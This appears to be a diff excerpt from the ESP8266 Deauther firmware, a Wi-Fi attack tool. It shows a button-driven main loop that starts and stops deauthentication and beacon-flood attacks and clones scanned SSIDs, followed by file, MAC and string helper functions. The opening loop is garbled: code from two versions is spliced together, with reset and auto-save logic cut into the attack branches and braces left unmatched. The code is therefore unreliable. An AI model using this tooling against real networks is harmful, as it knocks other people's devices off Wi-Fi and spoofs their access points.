ssids.update(); // run random mode, if enabled
|
||||
|
||||
// auto-save
|
||||
if (settings::getAutosaveSettings().enabled
|
||||
&& (currentTime - autosaveTime > settings::getAutosaveSettings().time)) {
|
||||
autosaveTime = currentTime;
|
||||
names.save(false);
|
||||
ssids.save(false);
|
||||
settings::save(false);
|
||||
if(Serial.available()){
|
||||
String input = Serial.readString();
|
||||
if(input == "reset" || input == "reset\n" || input == "reset\r" || input == "reset\r\n"){
|
||||
settings.reset();
|
||||
}
|
||||
}
|
||||
|
||||
if (!booted) {
|
||||
booted = true;
|
||||
EEPROMHelper::resetBootNum(BOOT_COUNTER_ADDR);
|
||||
#ifdef HIGHLIGHT_LED
|
||||
displayUI.setupLED();
|
||||
#endif // ifdef HIGHLIGHT_LED
|
||||
#ifdef USE_DISPLAY
|
||||
|
||||
if (digitalRead(upBtn) == LOW || digitalRead(downBtn) == LOW || digitalRead(selectBtn) == LOW || digitalRead(displayBtn) == LOW){
|
||||
if(canBtnPress){
|
||||
if(digitalRead(upBtn) == LOW) buttonPressed = 0;
|
||||
else if(digitalRead(downBtn) == LOW) buttonPressed = 1;
|
||||
else if(digitalRead(selectBtn) == LOW) buttonPressed = 2;
|
||||
else if(digitalRead(displayBtn) == LOW) buttonPressed = 3;
|
||||
canBtnPress = false;
|
||||
}
|
||||
}else if(!canBtnPress){
|
||||
canBtnPress = true;
|
||||
|
||||
// ===== UP =====
|
||||
if (buttonPressed == 0 && curRow > 0) {
|
||||
curRow--;
|
||||
if (lrow - 1 < 0) {
|
||||
lrow = rowsPerSite - 1;
|
||||
curSite--;
|
||||
} else lrow--;
|
||||
|
||||
// ===== DOWN =====
|
||||
} else if (buttonPressed == 1 && curRow < rows - 1) {
|
||||
curRow++;
|
||||
if (lrow + 1 >= rowsPerSite) {
|
||||
lrow = 0;
|
||||
curSite++;
|
||||
} else lrow++;
|
||||
|
||||
// ===== SELECT =====
|
||||
} else if (buttonPressed == 2) {
|
||||
|
||||
// ===== WIFI on/off =====
|
||||
if (curRow == 0) {
|
||||
if (wifiMode == "ON") stopWifi();
|
||||
else startWifi();
|
||||
|
||||
// ===== scan for APs =====
|
||||
} else if (curRow == 1) {
|
||||
startAPScan();
|
||||
drawInterface();
|
||||
|
||||
// ===== start,stop deauth attack =====
|
||||
} else if (curRow == 2) {
|
||||
if (attackMode_deauth == "START" && apScan.getFirstTarget() > -1) attack.start(0);
|
||||
else if (attackMode_deauth == "STOP") attack.stop(0);
|
||||
|
||||
resetButton->update();
|
||||
if (resetButton->holding(5000)) {
|
||||
led::setMode(LED_MODE::SCAN);
|
||||
DISPLAY_MODE _mode = displayUI.mode;
|
||||
displayUI.mode = DISPLAY_MODE::RESETTING;
|
||||
displayUI.update(true);
|
||||
// ===== start,stop beacon attack =====
|
||||
} else if (curRow == 3) {
|
||||
if (attackMode_beacon == "START"){
|
||||
|
||||
settings::reset();
|
||||
settings::save(true);
|
||||
//clone all selected SSIDs
|
||||
if(apScan.selectedSum > 0){
|
||||
int clonesPerSSID = 48/apScan.selectedSum;
|
||||
ssidList.clear();
|
||||
for(int i=0;i<apScan.results;i++){
|
||||
if(apScan.isSelected(i)){
|
||||
ssidList.addClone(apScan.getAPName(i),clonesPerSSID, apScan.getAPEncryption(i) != "none");
|
||||
}
|
||||
}
|
||||
}
|
||||
attack.ssidChange = true;
|
||||
|
||||
delay(2000);
|
||||
|
||||
led::setMode(LED_MODE::IDLE);
|
||||
displayUI.mode = _mode;
|
||||
//start attack
|
||||
attack.start(1);
|
||||
}
|
||||
else if (attackMode_beacon == "STOP") attack.stop(1);
|
||||
}
|
||||
|
||||
// ===== select APs =====
|
||||
else if (curRow >= 4) {
|
||||
attack.stop(0);
|
||||
apScan.select(curRow - 4);
|
||||
}
|
||||
}
|
||||
// ===== DISPLAY =====
|
||||
else if (buttonPressed == 3) {
|
||||
displayOn = !displayOn;
|
||||
display.clear();
|
||||
display.display();
|
||||
}
|
||||
screensavertimer = 0;
|
||||
lastactivity = millis();
|
||||
} else {
|
||||
screensavertimer = millis() - lastactivity;
|
||||
}
|
||||
if(screensavertimer>saveeafter) {
|
||||
drawScreenSaver();
|
||||
} else {
|
||||
drawInterface();
|
||||
}
|
||||
#endif
|
||||
|
||||
}
|
||||
|
|
|
@ -1,831 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <LittleFS.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "src/ArduinoJson-v5.13.5/ArduinoJson.h"
|
||||
|
||||
/*
|
||||
Here is a collection of useful functions and variables.
|
||||
They are used globally via an 'extern' reference in every class.
|
||||
Making everything static will lead to problems with the Arduino ESP8266 2.0.0 SDK,
|
||||
there were some fixed in later version but we need to use the old version for injecting deauth packets.
|
||||
*/
|
||||
|
||||
uint8_t broadcast[6] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF };
|
||||
uint8_t wifi_channel = 1;
|
||||
|
||||
// ===== UTF8 FIX ===== //
|
||||
String escape(String str) {
|
||||
str.replace(String(BACKSLASH), String(BACKSLASH) + String(BACKSLASH));
|
||||
str.replace(String(DOUBLEQUOTES), String(BACKSLASH) + String(DOUBLEQUOTES));
|
||||
return str;
|
||||
}
|
||||
|
||||
bool ascii(char c) {
|
||||
return c >= 0 && c <= 127;
|
||||
}
|
||||
|
||||
bool printableAscii(char c) {
|
||||
return c >= 32 && c <= 126;
|
||||
}
|
||||
|
||||
bool getBit(uint8_t b, uint8_t n) {
|
||||
return (b >> n) % 2 != 0;
|
||||
}
|
||||
|
||||
uint8_t utf8(uint8_t c) {
|
||||
if (!getBit(c, 7)) return 1;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && !getBit(c, 5)) return 2;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && !getBit(c, 4)) return 3;
|
||||
|
||||
if (getBit(c, 7) && getBit(c, 6) && getBit(c, 5) && getBit(c, 4) && !getBit(c, 3)) return 4;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool utf8Part(uint8_t c) {
|
||||
return getBit(c, 7) && !getBit(c, 6);
|
||||
}
|
||||
|
||||
String fixUtf8(String str) {
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
bool ok;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) {
|
||||
result += c; // when 1 byte char, add it :)
|
||||
}
|
||||
else if (i + len > size) { // when char bigger than remaining string, end loop
|
||||
i = size + 1;
|
||||
}
|
||||
else {
|
||||
ok = true;
|
||||
|
||||
for (int j = 1; j < len && ok; j++) {
|
||||
ok = utf8Part(str.charAt(i + j)); // if following char is compliant or not
|
||||
}
|
||||
|
||||
if (ok) result += c; // everything is ok, add char and continue
|
||||
else { // utf8 char is broken
|
||||
for (int j = 1; j < len; j++) { // go through the next bytes
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (utf8(c) == 1) result += c; // when byte is ascii, add it :)
|
||||
}
|
||||
i += len - 1; // skip utf8 char because we already managed it
|
||||
}
|
||||
}
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
String removeUtf8(String str) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else i += len - 1; // skip other chars
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int utf8Len(String str) {
|
||||
int size = str.length();
|
||||
|
||||
int result = 0;
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result++; // when 1 byte char, add 1 :)
|
||||
else {
|
||||
result++;
|
||||
|
||||
for (int j = 1; j < len; j++) {
|
||||
c = str.charAt(i + j);
|
||||
|
||||
if (!utf8Part(c) && (utf8(c) == 1)) {
|
||||
Serial.println(c, HEX);
|
||||
result++; // if following char is compliant or not
|
||||
}
|
||||
}
|
||||
i += len - 1;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
String replaceUtf8(String str, String r) {
|
||||
str = fixUtf8(str); // fix it in case a utf char is broken
|
||||
int size = str.length();
|
||||
|
||||
String result = String();
|
||||
char c;
|
||||
uint8_t len;
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
c = str.charAt(i); // get character
|
||||
len = utf8(c); // get utf8 char len
|
||||
|
||||
if (len <= 1) result += c; // when 1 byte char, add it :)
|
||||
else {
|
||||
result += r;
|
||||
i += len - 1; // skip other chars
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// ===== LANGUAGE STRING FUNCTIONS ===== //
|
||||
|
||||
// for reading Strings from the PROGMEM
|
||||
String str(const char* ptr) {
|
||||
char keyword[strlen_P(ptr)];
|
||||
|
||||
strcpy_P(keyword, ptr);
|
||||
return String(keyword);
|
||||
}
|
||||
|
||||
// for converting keywords
|
||||
String keyword(const char* keywordPtr) {
|
||||
char keyword[strlen_P(keywordPtr)];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
String str = "";
|
||||
uint8_t len = strlen(keyword);
|
||||
uint8_t i = 0;
|
||||
|
||||
while (i < len && keyword[i] != SLASH && keyword[i] != COMMA) {
|
||||
str += keyword[i];
|
||||
i++;
|
||||
}
|
||||
|
||||
return str;
|
||||
}
|
||||
|
||||
// equals function
|
||||
bool eqls(const char* str, const char* keywordPtr) {
|
||||
if (strlen(str) > 255) return false; // when string too long
|
||||
|
||||
char keyword[strlen_P(keywordPtr) + 1];
|
||||
|
||||
strcpy_P(keyword, keywordPtr);
|
||||
|
||||
uint8_t lenStr = strlen(str);
|
||||
uint8_t lenKeyword = strlen(keyword);
|
||||
|
||||
if (lenStr > lenKeyword) return false; // string can't be longer than keyword (but can be smaller because of '/'
|
||||
|
||||
// and ',')
|
||||
|
||||
uint8_t a = 0;
|
||||
uint8_t b = 0;
|
||||
bool result = true;
|
||||
|
||||
while (a < lenStr && b < lenKeyword) {
|
||||
if ((keyword[b] == SLASH) || (keyword[b] == COMMA)) b++;
|
||||
|
||||
if (tolower(str[a]) != tolower(keyword[b])) result = false;
|
||||
|
||||
if (((a == lenStr) && !result) || !result) { // fast forward to next comma
|
||||
while (b < lenKeyword && keyword[b] != COMMA) b++;
|
||||
result = true;
|
||||
a = 0;
|
||||
} else {
|
||||
a++;
|
||||
b++;
|
||||
}
|
||||
}
|
||||
// comparison correct AND string checked until the end AND keyword checked until the end
|
||||
return result && a == lenStr && (keyword[b] == COMMA || keyword[b] == SLASH || keyword[b] == ENDOFLINE);
|
||||
}
|
||||
|
||||
bool eqls(String str, const char* keywordPtr) {
|
||||
return eqls(str.c_str(), keywordPtr);
|
||||
}
|
||||
|
||||
// boolean to string
|
||||
String b2s(bool input) {
|
||||
return str(input ? STR_TRUE : STR_FALSE);
|
||||
}
|
||||
|
||||
// boolean to asterix *
|
||||
String b2a(bool input) {
|
||||
return input ? String(ASTERIX) : String(SPACE);
|
||||
}
|
||||
|
||||
// string to boolean
|
||||
bool s2b(String input) {
|
||||
return eqls(input, STR_TRUE);
|
||||
}
|
||||
|
||||
// ===== PRINT FUNCTIONS ===== //
|
||||
void prnt(const String s) {
|
||||
Serial.print(s);
|
||||
}
|
||||
|
||||
void prnt(const bool b) {
|
||||
Serial.print(b2s(b));
|
||||
}
|
||||
|
||||
void prnt(const char c) {
|
||||
Serial.print(c);
|
||||
}
|
||||
|
||||
void prnt(const char* ptr) {
|
||||
Serial.print(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prnt(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
}
|
||||
|
||||
void prnt(const int i) {
|
||||
Serial.print((String)i);
|
||||
}
|
||||
|
||||
void prnt(const uint32_t i) {
|
||||
Serial.printf("%u", i);
|
||||
}
|
||||
|
||||
void prntln() {
|
||||
Serial.println();
|
||||
}
|
||||
|
||||
void prntln(const String s) {
|
||||
Serial.println(s);
|
||||
}
|
||||
|
||||
void prntln(const bool b) {
|
||||
Serial.println(b2s(b));
|
||||
}
|
||||
|
||||
void prntln(const char c) {
|
||||
Serial.println(c);
|
||||
}
|
||||
|
||||
void prntln(const char* ptr) {
|
||||
Serial.println(FPSTR(ptr));
|
||||
}
|
||||
|
||||
void prntln(const char* ptr, int len) {
|
||||
for (int i = 0; i<len; i++) prnt(ptr[i]);
|
||||
prntln();
|
||||
}
|
||||
|
||||
void prntln(const int i) {
|
||||
Serial.println((String)i);
|
||||
}
|
||||
|
||||
void prntln(const uint32_t i) {
|
||||
Serial.printf("%u\r\n", i);
|
||||
}
|
||||
|
||||
/* ===== WiFi ===== */
|
||||
void setWifiChannel(uint8_t ch, bool force) {
|
||||
if (((ch != wifi_channel) || force) && (ch < 15)) {
|
||||
wifi_channel = ch;
|
||||
wifi_set_channel(wifi_channel);
|
||||
}
|
||||
}
|
||||
|
||||
void setOutputPower(float dBm) {
|
||||
if (dBm > 20.5) {
|
||||
dBm = 20.5;
|
||||
} else if (dBm < 0) {
|
||||
dBm = 0;
|
||||
}
|
||||
|
||||
uint8_t val = (dBm * 4.0f);
|
||||
|
||||
system_phy_set_max_tpw(val);
|
||||
}
|
||||
|
||||
/* ===== MAC ADDRESSES ===== */
|
||||
bool macBroadcast(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != broadcast[i]) return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool macValid(uint8_t* mac) {
|
||||
for (uint8_t i = 0; i < 6; i++)
|
||||
if (mac[i] != 0x00) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
bool macMulticast(uint8_t* mac) {
|
||||
// see https://en.wikipedia.org/wiki/Multicast_address
|
||||
if ((mac[0] == 0x33) && (mac[1] == 0x33)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x80) && (mac[2] == 0xC2)) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && ((mac[2] == 0x5E) || (mac[2] == 0x0C))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x0C) && (mac[2] == 0xCD) &&
|
||||
((mac[3] == 0x01) || (mac[3] == 0x02) || (mac[3] == 0x04)) &&
|
||||
((mac[4] == 0x00) || (mac[4] == 0x01))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x00) && (mac[2] == 0x0C) && (mac[3] == 0xCC) && (mac[4] == 0xCC) &&
|
||||
((mac[5] == 0xCC) || (mac[5] == 0xCD))) return true;
|
||||
|
||||
if ((mac[0] == 0x01) && (mac[1] == 0x1B) && (mac[2] == 0x19) && (mac[3] == 0x00) && (mac[4] == 0x00) &&
|
||||
(mac[5] == 0x00)) return true;
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
/* ===== VENDOR LIST (oui.h) ===== */
|
||||
void getRandomMac(uint8_t* mac) {
|
||||
int num = random(sizeof(data_vendors) / 11 - 1);
|
||||
uint8_t i;
|
||||
|
||||
for (i = 0; i < 3; i++) mac[i] = pgm_read_byte_near(data_macs + num * 5 + i);
|
||||
|
||||
for (i = 3; i < 6; i++) mac[i] = random(256);
|
||||
}
|
||||
|
||||
int binSearchVendors(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
uint8_t listBytes[3];
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
while (lowerEnd <= upperEnd) {
|
||||
listBytes[0] = pgm_read_byte_near(data_macs + mid * 5);
|
||||
listBytes[1] = pgm_read_byte_near(data_macs + mid * 5 + 1);
|
||||
listBytes[2] = pgm_read_byte_near(data_macs + mid * 5 + 2);
|
||||
|
||||
res = memcmp(searchBytes, listBytes, 3);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String searchVendor(uint8_t* mac) {
|
||||
String vendorName = String();
|
||||
int pos = binSearchVendors(mac, 0, sizeof(data_macs) / 5 - 1);
|
||||
int realPos = pgm_read_byte_near(data_macs + pos * 5 + 3) | pgm_read_byte_near(data_macs + pos * 5 + 4) << 8;
|
||||
|
||||
if (pos >= 0) {
|
||||
char tmp;
|
||||
|
||||
for (int i = 0; i < 8; i++) {
|
||||
tmp = (char)pgm_read_byte_near(data_vendors + realPos * 8 + i);
|
||||
|
||||
if (tmp != ENDOFLINE) vendorName += tmp;
|
||||
tmp += SPACE;
|
||||
}
|
||||
}
|
||||
|
||||
return vendorName;
|
||||
}
|
||||
|
||||
/* ===== STRING ===== */
|
||||
String bytesToStr(const uint8_t* b, uint32_t size) {
|
||||
String str;
|
||||
|
||||
for (uint32_t i = 0; i < size; i++) {
|
||||
if (b[i] < 0x10) str += ZERO;
|
||||
str += String(b[i], HEX);
|
||||
|
||||
if (i < size - 1) str += DOUBLEPOINT;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
String macToStr(const uint8_t* mac) {
|
||||
return bytesToStr(mac, 6);
|
||||
}
|
||||
|
||||
bool strToMac(String macStr, uint8_t* mac) {
|
||||
macStr.replace(String(DOUBLEPOINT), String()); // ":" -> ""
|
||||
macStr.replace("0x", String()); // "0x" -> ""
|
||||
macStr.replace(String(COMMA), String()); // "," -> ""
|
||||
macStr.replace(String(DOUBLEQUOTES), String()); // "\"" -> ""
|
||||
macStr.toUpperCase();
|
||||
|
||||
if (macStr.length() != 12) {
|
||||
prntln(F_ERROR_MAC);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 6; i++) mac[i] = strtoul((macStr.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool strToIP(String ipStr, uint8_t* ip) {
|
||||
String parts[4] = { "0", "0", "0", "0" };
|
||||
int ipAddr[4] = { -1, -1, -1, -1 };
|
||||
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i<ipStr.length(); i++) {
|
||||
if (ipStr[i] == '.') j++;
|
||||
else parts[j] += ipStr[i];
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ipAddr[i] = parts[i].toInt();
|
||||
if ((ipAddr[i] < 0) || (ipAddr[i] > 255)) return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i<4; i++) {
|
||||
ip[i] = (uint8_t)ipAddr[i];
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void strToColor(String str, uint8_t* buf) {
|
||||
str.replace(":", "");
|
||||
str.replace("0x", "");
|
||||
str.replace(",", "");
|
||||
str.replace("#", "");
|
||||
str.toUpperCase();
|
||||
|
||||
if (str.length() != 6) {
|
||||
prntln(F_COLOR_INVALID);
|
||||
return;
|
||||
}
|
||||
|
||||
for (uint8_t i = 0; i < 3; i++) buf[i] = strtoul((str.substring(i * 2, i * 2 + 2)).c_str(), NULL, 16);
|
||||
}
|
||||
|
||||
String center(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
for (int i = 0; i < spaces; i += 2) {
|
||||
a = ' ' + a + ' ';
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String left(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String right(String a, int len) {
|
||||
int spaces = len - a.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = ' ' + a;
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
String leftRight(String a, String b, int len) {
|
||||
int spaces = len - a.length() - b.length();
|
||||
|
||||
while (spaces > 0) {
|
||||
a = a + ' ';
|
||||
spaces--;
|
||||
}
|
||||
|
||||
a = a + b;
|
||||
|
||||
a = a.substring(0, len);
|
||||
|
||||
return a;
|
||||
}
|
||||
|
||||
/* ===== SPIFFS ===== */
|
||||
bool progmemToSpiffs(const char* adr, int len, String path) {
|
||||
prnt(str(SETUP_COPYING) + path + str(SETUP_PROGMEM_TO_SPIFFS));
|
||||
File f = LittleFS.open(path, "w+");
|
||||
|
||||
if (!f) {
|
||||
prntln(SETUP_ERROR);
|
||||
return false;
|
||||
}
|
||||
|
||||
for (int i = 0; i < len; i++) {
|
||||
f.write(pgm_read_byte_near(adr + i));
|
||||
}
|
||||
f.close();
|
||||
|
||||
prntln(SETUP_OK);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool readFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "r");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
if (f.size() == 0) return false;
|
||||
|
||||
while (f.available()) buf += (char)f.read();
|
||||
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void readFileToSerial(String path, bool showLineNum) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "r");
|
||||
|
||||
if (!f) {
|
||||
prnt(F_ERROR_READING_FILE);
|
||||
prntln(path);
|
||||
return;
|
||||
}
|
||||
|
||||
uint32_t c = 0;
|
||||
char tmp;
|
||||
|
||||
if (showLineNum) {
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
prnt(tmp);
|
||||
|
||||
if ((tmp == NEWLINE) && showLineNum) {
|
||||
c++;
|
||||
prnt(leftRight(String(), (String)c + String(VERTICALBAR), 6));
|
||||
}
|
||||
}
|
||||
|
||||
f.close();
|
||||
}
|
||||
|
||||
bool copyFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!LittleFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
File f1 = LittleFS.open(pathFrom, "r");
|
||||
File f2 = LittleFS.open(pathTo, "w+");
|
||||
|
||||
if (!f1 || !f2) return false;
|
||||
|
||||
while (f1.available()) {
|
||||
f2.write(f1.read());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool renameFile(String pathFrom, String pathTo) {
|
||||
if (pathFrom.charAt(0) != SLASH) pathFrom = String(SLASH) + pathFrom;
|
||||
|
||||
if (pathTo.charAt(0) != SLASH) pathTo = String(SLASH) + pathTo;
|
||||
|
||||
if (!LittleFS.exists(pathFrom)) {
|
||||
prnt(F_ERROR_FILE);
|
||||
prntln(pathFrom);
|
||||
return false;
|
||||
}
|
||||
|
||||
LittleFS.rename(pathFrom, pathTo);
|
||||
return true;
|
||||
}
|
||||
|
||||
bool writeFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "w+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf.charAt(i));
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool appendFile(String path, String& buf) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
File f = LittleFS.open(path, "a+");
|
||||
|
||||
if (!f) return false;
|
||||
|
||||
uint32_t len = buf.length();
|
||||
|
||||
for (uint32_t i = 0; i < len; i++) f.write(buf[i]);
|
||||
f.close();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void checkFile(String path, String data) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
if (!LittleFS.exists(path)) writeFile(path, data);
|
||||
}
|
||||
|
||||
bool removeLines(String path, int lineFrom, int lineTo) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = str(F_TMP) + path + str(F_COPY);
|
||||
|
||||
File f = LittleFS.open(path, "r");
|
||||
File f2 = LittleFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if ((c < lineFrom) || (c > lineTo)) f2.write(tmp);
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
LittleFS.remove(path);
|
||||
LittleFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool replaceLine(String path, int line, String& buf) {
|
||||
int c = 0;
|
||||
char tmp;
|
||||
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
String tmpPath = "/tmp" + path + "_copy";
|
||||
|
||||
File f = LittleFS.open(path, "r");
|
||||
File f2 = LittleFS.open(tmpPath, "w");
|
||||
|
||||
if (!f || !f2) return false;
|
||||
|
||||
while (f.available()) {
|
||||
tmp = f.read();
|
||||
|
||||
if (c != line) f2.write(tmp);
|
||||
else {
|
||||
f2.println(buf);
|
||||
|
||||
while (f.read() != NEWLINE && f.available()) {}
|
||||
c++;
|
||||
}
|
||||
|
||||
if (tmp == NEWLINE) c++;
|
||||
}
|
||||
|
||||
f.close();
|
||||
f2.close();
|
||||
LittleFS.remove(path);
|
||||
LittleFS.rename(tmpPath, path);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
JsonVariant parseJSONFile(String path, DynamicJsonBuffer& jsonBuffer) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create JSON Variant
|
||||
JsonVariant root;
|
||||
|
||||
// create buffer
|
||||
String buf = "";
|
||||
|
||||
// read file into buffer
|
||||
if (!readFile(path, buf)) { // if file couldn't be opened, send 404 error
|
||||
prnt(F_ERROR_OPEN);
|
||||
prntln(path);
|
||||
buf = "{}";
|
||||
}
|
||||
|
||||
// parse file-buffer into a JSON Variant
|
||||
root = jsonBuffer.parse(buf);
|
||||
|
||||
// if parsing unsuccessful
|
||||
if (!root.success()) {
|
||||
prnt(F_ERROR_PARSING_JSON);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
}
|
||||
|
||||
return root;
|
||||
}
|
||||
|
||||
bool removeFile(String path) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
return LittleFS.remove(path);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonObject& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
void saveJSONFile(String path, JsonArray& root) {
|
||||
if (path.charAt(0) != SLASH) path = String(SLASH) + path;
|
||||
|
||||
// create buffer
|
||||
String buf;
|
||||
|
||||
// convert JSON object into string and write it into buffer
|
||||
root.printTo(buf);
|
||||
|
||||
// if buffer too big
|
||||
if (buf.length() > 2048) {
|
||||
prntln(F_ERROR_TO_BIG);
|
||||
prntln(path);
|
||||
prntln(buf);
|
||||
return;
|
||||
}
|
||||
|
||||
// write buffer into SPIFFS file
|
||||
writeFile(path, buf);
|
||||
}
|
||||
|
||||
String formatBytes(size_t bytes) {
|
||||
if (bytes < 1024) return String(bytes) + "B";
|
||||
else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + "KB";
|
||||
else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + "MB";
|
||||
else return String(bytes / 1024.0 / 1024.0 / 1024.0) + "GB";
|
||||
}
|
|
@ -1,624 +0,0 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
|
||||
extern String str(const char* ptr);
|
||||
extern String keyword(const char* keywordPtr);
|
||||
extern bool eqls(const char* str, const char* keywordPtr);
|
||||
extern bool eqls(String str, const char* keywordPtr);
|
||||
extern String b2s(bool input);
|
||||
extern String b2a(bool input);
|
||||
extern bool s2b(String input);
|
||||
extern void prnt(const String s);
|
||||
